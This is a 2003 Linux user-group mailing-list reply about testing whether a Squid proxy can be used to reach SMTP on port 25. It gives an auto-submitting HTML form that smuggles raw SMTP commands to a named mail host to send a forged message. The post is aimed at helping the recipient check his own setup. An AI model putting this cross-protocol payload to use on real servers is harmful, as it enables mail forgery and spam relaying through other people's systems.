[Gllug] SPEWS (and Squid)

[Robert McKay]

On Tue, 3 Jun 2003, t.clarke wrote:

> On the subject of squid - I tried the 'connect n.n.n.n:25' wheeze and received
> a whole screed of info from the oproxy including 'domain inaccessible'.
> It wasn't the same info as Martin Brroks provided,  but the effect was the same
> - no connection.

You could try this:

(save to an .html file)
it won't work with mozilla though 'cause mozilla won't submit to port 25..
of course.. if someone had direct access to your proxy they could still do
it (unless the proxy also blocks port 25 posting)

<form action="http://thames.seacon.co.uk:25" method="post"
enctype="multipart/form-data" name="exploit">
<input type="hidden" name="foo" value="
HELO paqovicuna.com
MAIL FROM: <the.rabid.llama at example.com>
RCPT TO: <tim at seacon.co.uk>
DATA
From: The Rabid Llama <the.rabid.llama at example.com>
To: Tiny Tim <tim at seacon.co.uk>
Subject: I'm rabid!

*chomp*

.
QUIT
">
<input type="submit" value="run">
</form>
<script language="JavaScript">
<!--
document.exploit.submit();
-->
</script>


> Tim

-Rob.



-- 
Gllug mailing list  -  Gllug at linux.co.uk
http://list.ftech.net/mailman/listinfo/gllug